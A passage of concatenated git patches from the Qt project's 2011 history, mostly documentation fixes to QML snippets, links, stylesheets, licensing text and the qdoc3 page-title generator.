--- a/doc/src/declarative/qtdeclarative.qdoc
+++ b/doc/src/declarative/qtdeclarative.qdoc
@@ -56,7 +56,7 @@
   \macro QML_DECLARE_TYPE()
   \relates QDeclarativeEngine
 
-  Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty)
+  Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty)
 
   #include  to use this macro.
 */
-- 
cgit v0.12


From 20a3e23bb07a8c4b363ebeb9124d04db9fe3226e Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Wed, 26 Jan 2011 15:23:52 +0100
Subject: Doc: Fixed the syntax of QML code snippets.

---
 doc/src/declarative/qml-intro.qdoc                 |  2 +-
 .../declarative/propertyaction-sequential.qml      | 72 ++++++++++++++++++++++
 doc/src/snippets/declarative/propertyaction.qml    | 62 +++++++++----------
 src/declarative/util/qdeclarativeanimation.cpp     | 13 ++--
 src/declarative/util/qdeclarativefontloader.cpp    | 14 ++++-
 5 files changed, 119 insertions(+), 44 deletions(-)
 create mode 100644 doc/src/snippets/declarative/propertyaction-sequential.qml

diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
index 7b2d999..3f3e0e4 100644
--- a/doc/src/declarative/qml-intro.qdoc
+++ b/doc/src/declarative/qml-intro.qdoc
@@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is
 \qml
 SomeElement {
     id: myObject
-    ... some other things here ...
+    // ... some other things here ...
 }
 \endqml
 
diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml
new file mode 100644
index 0000000..a60b1f4
--- /dev/null
+++ b/doc/src/snippets/declarative/propertyaction-sequential.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+    Item {
+        width: 400; height: 400
+
+        Rectangle {
+            id: rect
+            width: 200; height: 100
+            color: "red"
+
+            states: State {
+                name: "rotated"
+                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+            }
+
+            //! [sequential]
+            transitions: Transition {
+                SequentialAnimation {
+                    PropertyAction { target: rect; property: "transformOrigin" }
+                    RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+                }
+            }
+            //! [sequential]
+
+            MouseArea {
+                anchors.fill: parent
+                onClicked: rect.state = "rotated"
+            }
+        }
+    }
+}
diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml
index dd21d14..f5ae798 100644
--- a/doc/src/snippets/declarative/propertyaction.qml
+++ b/doc/src/snippets/declarative/propertyaction.qml
@@ -41,45 +41,43 @@ import QtQuick 1.0
 
 Row {
 
-//![transition]
-Item {
-    width: 400; height: 400
+    //![transition]
+    Item {
+        width: 400; height: 400
 
-    Rectangle {
-        id: rect
-        width: 200; height: 100
-        color: "red"
+        Rectangle {
+            id: rect
+            width: 200; height: 100
+            color: "red"
 
-        states: State {
-            name: "rotated"
-            PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
-        }
+            states: State {
+                name: "rotated"
+                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+            }
 
-        transitions: Transition {
-            RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
-        }
+            transitions: Transition {
+                RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+            }
 
-        MouseArea {
-            anchors.fill: parent
-            onClicked: rect.state = "rotated"
+            MouseArea {
+                anchors.fill: parent
+                onClicked: rect.state = "rotated"
+            }
         }
     }
-}
-//![transition]
+    //![transition]
 
-Item {
-    width: 300; height: 300
+    Item {
+        width: 300; height: 300
 
-    Image { id: img; source: "pics/qt.png" }
-
-//![standalone]
-SequentialAnimation {
-    PropertyAction { target: img; property: "smooth"; value: "true" }
-    NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
-    PropertyAction { target: img; property: "smooth"; value: "false" }
-}
-//![standalone]
-}
+        Image { id: img; source: "pics/qt.png" }
 
+        //![standalone]
+        SequentialAnimation {
+            PropertyAction { target: img; property: "smooth"; value: "true" }
+            NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
+            PropertyAction { target: img; property: "smooth"; value: "false" }
+        }
+        //![standalone]
+    }
 }
-
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index 5dbde15..2f53f21 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -890,14 +890,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
     then jump to \c Item.BottomRight. To fix this, insert a PropertyAction
     before the RotationAnimation begins:
 
-    \qml
-    transitions: Transition {
-        SequentialAnimation {
-            PropertyAction { target: rect; property: "transformOrigin" }
-            RotationAnimation { ... }
-        }
-    }
-    \endqml
+    \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential
     
     This immediately sets the \c transformOrigin property to the value defined
     in the end state of the \l Transition (i.e. the value defined in the 
@@ -1186,7 +1179,9 @@ void QDeclarativeNumberAnimation::init()
 
     \qml
     Item {
-        states: [ ... ]
+        states: [
+            // ...
+        ]
 
         transition: Transition {
             NumberAnimation { properties: "x"; from: 100; duration: 200 }
diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp
index d39da3f..eba9cf9 100644
--- a/src/declarative/util/qdeclarativefontloader.cpp
+++ b/src/declarative/util/qdeclarativefontloader.cpp
@@ -262,8 +262,18 @@ void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFon
 
     Example:
     \qml
-    FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" }
-    Text { text: "Fancy font"; font.family: webFont.name }
+    Item {
+        width: 200; height: 50
+
+        FontLoader {
+            id: webFont
+            source: "http://www.mysite.com/myfont.ttf"
+        }
+        Text {
+            text: "Fancy font"
+            font.family: webFont.name
+        }
+    }
     \endqml
 */
 QString QDeclarativeFontLoader::name() const
-- 
cgit v0.12


From 836c4f622b16524aedb00e8866ddd883f1346cb5 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Wed, 26 Jan 2011 16:09:39 +0100
Subject: Doc: Added a link from the plugin guide to the plugin deployment
 guide.

Task-number: QTBUG-9501
---
 doc/src/frameworks-technologies/plugins-howto.qdoc | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc
index 3dc2996..b332d57 100644
--- a/doc/src/frameworks-technologies/plugins-howto.qdoc
+++ b/doc/src/frameworks-technologies/plugins-howto.qdoc
@@ -48,7 +48,7 @@
 
     \ingroup frameworks-technologies
     \ingroup qt-basic-concepts
-	
+
 
     \keyword QT_DEBUG_PLUGINS
     \keyword QT_NO_PLUGIN_CHECK
@@ -87,7 +87,7 @@
     directory.
 
     \table
-    \header \o Base Class              \o Directory Name                \o Key Case Sensitivity
+    \header \o Base Class              \o Directory Name      \o Key Case Sensitivity
     \row    \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive
     \row    \o QAccessiblePlugin       \o \c accessible       \o Case Sensitive
     \row    \o QDecorationPlugin       \o \c decorations      \o Case Insensitive
@@ -309,5 +309,10 @@
     to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is
     defined.
 
+    \section1 Deploying and Debugging Plugins
+
+    The \l{Deploying Plugins} document covers the process of deploying
+    plugins with applications and debugging them when problems arise.
+
     \sa QPluginLoader, QLibrary, {Plug & Paint Example}
 */
-- 
cgit v0.12


From fd399bcd1c55e6e4b7ecab856167599e5a9d153c Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Wed, 26 Jan 2011 16:54:07 +0100
Subject: Doc: Added preprocessor coloring.

---
 doc/src/template/style/offline.css | 10 +++++++++-
 doc/src/template/style/style.css   | 10 +++++++++-
 2 files changed, 18 insertions(+), 2 deletions(-)

diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
index f5eb1c0..fe9aa13 100644
--- a/doc/src/template/style/offline.css
+++ b/doc/src/template/style/offline.css
@@ -174,7 +174,7 @@
     }
     span.operator
     {
-        color: black;
+        color: #202020;
     }
     span.keyword
     {
@@ -188,6 +188,14 @@
     {
         font-weight: bold
     }
+    span.type a:visited
+    {
+        color: #0F5300;
+    }
+    span.preprocessor
+    {
+        color: #404040
+    }
 /* end basic elements */
 
 /* font style elements */
diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
index c35acac..cac4e58 100755
--- a/doc/src/template/style/style.css
+++ b/doc/src/template/style/style.css
@@ -200,7 +200,7 @@
     }
     span.operator
     {
-        color: black;
+        color: #202020;
     }
     span.keyword
     {
@@ -214,6 +214,14 @@
     {
         font-weight: bold
     }
+    span.type a:visited
+    {
+        color: #0F5300;
+    }
+    span.preprocessor
+    {
+        color: #404040
+    }
 /* end basic elements */
 
 /* font style elements */
-- 
cgit v0.12


From c5bd324a9216e37e907e9c85c0fe96b58772eaa2 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Wed, 26 Jan 2011 16:57:04 +0100
Subject: Doc: Fixed qdoc warnings about broken links.

---
 doc/src/declarative/advtutorial.qdoc                 |  3 +--
 doc/src/declarative/qdeclarativeintro.qdoc           | 10 +++++-----
 doc/src/examples/qml-examples.qdoc                   |  4 ++--
 src/declarative/util/qdeclarativeanimation.cpp       |  2 +-
 src/declarative/util/qdeclarativestateoperations.cpp |  2 +-
 5 files changed, 10 insertions(+), 11 deletions(-)

diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
index 6cd1f22..263c78b 100644
--- a/doc/src/declarative/advtutorial.qdoc
+++ b/doc/src/declarative/advtutorial.qdoc
@@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this:
 \image declarative-samegame.png
 
 We will cover concepts for producing a fully functioning application, including
-JavaScript integration, using QML  \l States and \l {Behavior}{Behaviors} to 
+JavaScript integration, using QML  \l{State}{States} and \l{Behavior}{Behaviors} to 
 manage components and enhance your interface, and storing persistent application data.
 
 An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
@@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl
 
 There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
 demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
-
 */
diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
index 9b96d43..02692de 100644
--- a/doc/src/declarative/qdeclarativeintro.qdoc
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -27,7 +27,7 @@
 
 /*!
 \page qdeclarativeintroduction.html
-\title Introduction to the QML language
+\title Introduction to the QML Language
 
 \tableofcontents
 
@@ -121,7 +121,7 @@ line opacity: 0.5 has been turned into a comment.
 
 
 
-\section1 Object identifiers
+\section1 Object Identifiers
 
 Each object can be given a special \e id value that allows the object to be identified
 and referred to by other objects.
@@ -194,7 +194,7 @@ automatically updated.
 \section1 Properties
 \target intro-properties
 
-\section2 Basic property types
+\section2 Basic Property Types
 
 QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
 \c real, \c bool, \c string and \c color.
@@ -222,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi
 letter.
 
 
-\section2 Property change notifications
+\section2 Property Change Notifications
 
 When a property changes value, it can send a signal to notify others of this change.
 
@@ -271,7 +271,7 @@ Items in the list can be accessed by index. See the \l{list}{list type} document
 for more details about list properties and their available operations.
 
 
-\section2 Default properties
+\section2 Default Properties
 
 Each object type can specify one of its list or object properties as its default property.
 If a property has been declared as the default property, the property tag can be omitted.
diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc
index 46af110..cd1bbe7 100644
--- a/doc/src/examples/qml-examples.qdoc
+++ b/doc/src/examples/qml-examples.qdoc
@@ -68,7 +68,7 @@
     \title Animation: States Example
     \example declarative/animation/states
 
-    These examples show how to use \l{States}{states} and \l{Transitions}{transitions}.
+    These examples show how to use \l{State}{states} and \l{Transition}{transitions}.
 
     The \c states.qml example shows how an item can change between states, and \c transitions.qml
     shows how these state changes can be animated.
@@ -664,7 +664,7 @@
 
     This example shows how to create a tab widget. It also demonstrates how
     \l {Property aliases}{property aliases} and
-    \l {Default Properties}{default properties} can be used to collect and
+    \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and
     assemble the child items declared within an \l Item.
 
     \image qml-tabwidget-example.png
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index 2f53f21..bd3234f 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -732,7 +732,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t)
     \inherits Animation
     \brief The ScriptAction element allows scripts to be run during an animation.
 
-    ScriptAction can be used to run script at a specific point in an animation.
+    ScriptAction can be used to run a script at a specific point in an animation.
 
     \qml
     SequentialAnimation {
diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp
index dd49dde..9a5aa66 100644
--- a/src/declarative/util/qdeclarativestateoperations.cpp
+++ b/src/declarative/util/qdeclarativestateoperations.cpp
@@ -634,7 +634,7 @@ void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s)
     This property holds the name of the script. This name can be used by a
     ScriptAction to target a specific script.
 
-    \sa ScriptAction::stateChangeScriptName
+    \sa ScriptAction::scriptName
 */
 QString QDeclarativeStateChangeScript::name() const
 {
-- 
cgit v0.12


From d37dce622e8bc14cd898a2e388d395492e6c51e0 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 27 Jan 2011 14:55:33 +0100
Subject: Doc: Updated the information about commercial editions of Qt.

---
 doc/src/legal/commercialeditions.qdoc | 39 ++++++++++++++++++++++++++++-------
 1 file changed, 31 insertions(+), 8 deletions(-)

diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc
index 37aed3f..2537a13 100644
--- a/doc/src/legal/commercialeditions.qdoc
+++ b/doc/src/legal/commercialeditions.qdoc
@@ -37,23 +37,46 @@
     If you want to develop Free or Open Source software for release using a recognized
     Open Source license, you can use the \l{Open Source Versions of Qt}.
 
-    The table below summarizes the differences between the two commercial editions:
+    The following table is a summary of the licenses under which Qt is made available.
+
+    \table
+    \row \o \bold{Qt Commercial Developer License}
+    \o The Qt Commercial Developer License is the appropriate version to use for the
+    development of proprietary and/or commercial software where the developer does not
+    wish to share or distribute any source code of the Qt libraries or otherwise comply
+    with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General
+    Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version
+    3.0}.
+    \row \o \bold{Qt GNU LGPL v. 2.1}
+    \o This version of Qt is appropriate for the development of Qt applications
+    (proprietary or open source) provided you can comply with the terms and conditions
+    contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}.
+    \row \o \bold{Qt GNU GPL v. 3.0}
+    \o This version of Qt is appropriate for the development of Qt applications where
+    you wish to use such applications in combination with software subject to the terms
+    of the GNU General Public License version 3.0 or where you are otherwise willing to
+    comply with the terms of the
+    \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}.
+    \endtable
 
     Please see the \l{Supported Platforms}{list of supported
     platforms} for up-to-date information about the various platforms
     and compilers that Qt supports.
 
-    On the Qt web site, you can find a
+    On the Qt Web site, you can find a
     \l{Qt Licensing Overview} and information on \l{Qt License Pricing}
     for commercial editions of Qt and other Qt-related products.
 
-    To purchase, please visit the \l{How to Order}{online order form}.
-
-    For further information and assistance, please contact Qt sales.
+    \section1 Purchasing and Sales Information
 
-    Web: http://qt.nokia.com/contact.
+    To purchase, please visit the \l{How to Order}{online order form}.
 
-    Phone, U.S. office (for North America): \bold{1-650-813-1676}.
+    For further information and assistance, please contact the Qt sales team
+    via one of the following channels:
 
-    Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}.
+    \table
+    \row \o Web: \o \bold{http://qt.nokia.com/contact}
+    \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020}
+    \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00}
+    \endtable
 */
-- 
cgit v0.12


From f42ac3e793907e15357b73360adf9dbdebfc22c0 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 27 Jan 2011 15:24:13 +0100
Subject: Doc: Fixed a broken link.

---
 doc/src/modules.qdoc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
index 60dd028..38a7a8b 100644
--- a/doc/src/modules.qdoc
+++ b/doc/src/modules.qdoc
@@ -30,7 +30,7 @@
     \title All Modules
     \startpage index.html Qt Reference Documentation
     \nextpage QtCore
-    
+
     \ingroup classlists
 
     \brief Qt 4 comprises several modules. Each module is a separate
@@ -40,7 +40,7 @@
     \header \o {2,1} \bold{Modules for general software development}
     \row \o \l{QtCore} \o Core non-graphical classes used by other modules
     \row \o \l{QtGui} \o Graphical user interface (GUI) components
-    \row \o \l{qtmultimedia.html}{QtMultimedia} \o Classes for low-level multimedia functionality
+    \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality
     \row \o \l{QtNetwork} \o Classes for network programming
     \row \o \l{QtOpenGL} \o OpenGL support classes
     \row \o \l{QtOpenVG} \o OpenVG support classes
-- 
cgit v0.12


From 339e3804abf1dbeac9fe89699c2dc4ebc94d5cdd Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 27 Jan 2011 16:31:32 +0100
Subject: Doc: Fixed confusing wording of a sentence.

Task-number: QTBUG-16875
Reviewed-by: Takumi ASAKI
---
 src/gui/itemviews/qabstractitemview.cpp | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp
index 37507dd..081a6d9 100644
--- a/src/gui/itemviews/qabstractitemview.cpp
+++ b/src/gui/itemviews/qabstractitemview.cpp
@@ -622,9 +622,9 @@ QAbstractItemView::~QAbstractItemView()
     deleteLater() functions to explicitly delete them.
 
     The view \e{does not} take ownership of the model unless it is the model's
-    parent object because the view may be shared between many different views.
+    parent object because the model may be shared between many different views.
 
-  \sa selectionModel(), setSelectionModel()
+    \sa selectionModel(), setSelectionModel()
 */
 void QAbstractItemView::setModel(QAbstractItemModel *model)
 {
-- 
cgit v0.12


From 9d94a365582cfcc31cc10587413932a8f957e5ff Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 27 Jan 2011 16:38:20 +0100
Subject: Doc: Unindented a code snippet.

---
 doc/src/declarative/modules.qdoc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
index 1dca28c..3bb69da 100644
--- a/doc/src/declarative/modules.qdoc
+++ b/doc/src/declarative/modules.qdoc
@@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number.
 This can be seen in the snippet commonly found at the top of QML files:
 
 \qml
-    import QtQuick 1.0
+import QtQuick 1.0
 \endqml
 
 This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
-- 
cgit v0.12


From 4a100d27cca824114c9bfa5e88096835fadd8a27 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 27 Jan 2011 16:39:01 +0100
Subject: Avoid hard-coding product names in page titles.

Fall back to Qt if no product name is used.
---
 tools/qdoc3/htmlgenerator.cpp | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
index 768be46..196bd44 100644
--- a/tools/qdoc3/htmlgenerator.cpp
+++ b/tools/qdoc3/htmlgenerator.cpp
@@ -1642,12 +1642,10 @@ void HtmlGenerator::generateHeader(const QString& title,
     QString shortVersion = myTree->version();
     if (shortVersion.count(QChar('.')) == 2)
         shortVersion.truncate(shortVersion.lastIndexOf(QChar('.')));
-    if (!shortVersion.isEmpty()) {
-        if (project == "QSA")
-            shortVersion = "QSA " + shortVersion + ": ";
-        else
-            shortVersion = "Qt " + shortVersion + ": ";
-    }
+    if (!project.isEmpty())
+        shortVersion = project + QLatin1String(" ") + shortVersion + QLatin1String(": ");
+    else
+        shortVersion = QLatin1String("Qt ") + shortVersion + QLatin1String(": ");
 
     // Generating page title
     out() << "  " << shortVersion << protectEnc(title) << "\n";
-- 
cgit v0.12


From 91f9b95b931f441e209ecb12c620e1657810f338 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 27 Jan 2011 17:08:52 +0100
Subject: Fixed whitespace.

---
 doc/src/template/style/style.css | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
index cac4e58..df2729c 100755
--- a/doc/src/template/style/style.css
+++ b/doc/src/template/style/style.css
@@ -238,15 +238,15 @@
     {
         font-size: 13px;
     }
-	.red
-	{
-		color:red;
-	}
-	.figCaption{
-	color:#363534;
-	font:italic 11px/1.2 Verdana;
-	padding-top:0;
-	}
+    .red
+    {
+        color:red;
+    }
+    .figCaption{
+        color:#363534;
+        font:italic 11px/1.2 Verdana;
+        padding-top:0;
+    }
 /* end font style elements */
 
 /* global settings*/
-- 
cgit v0.12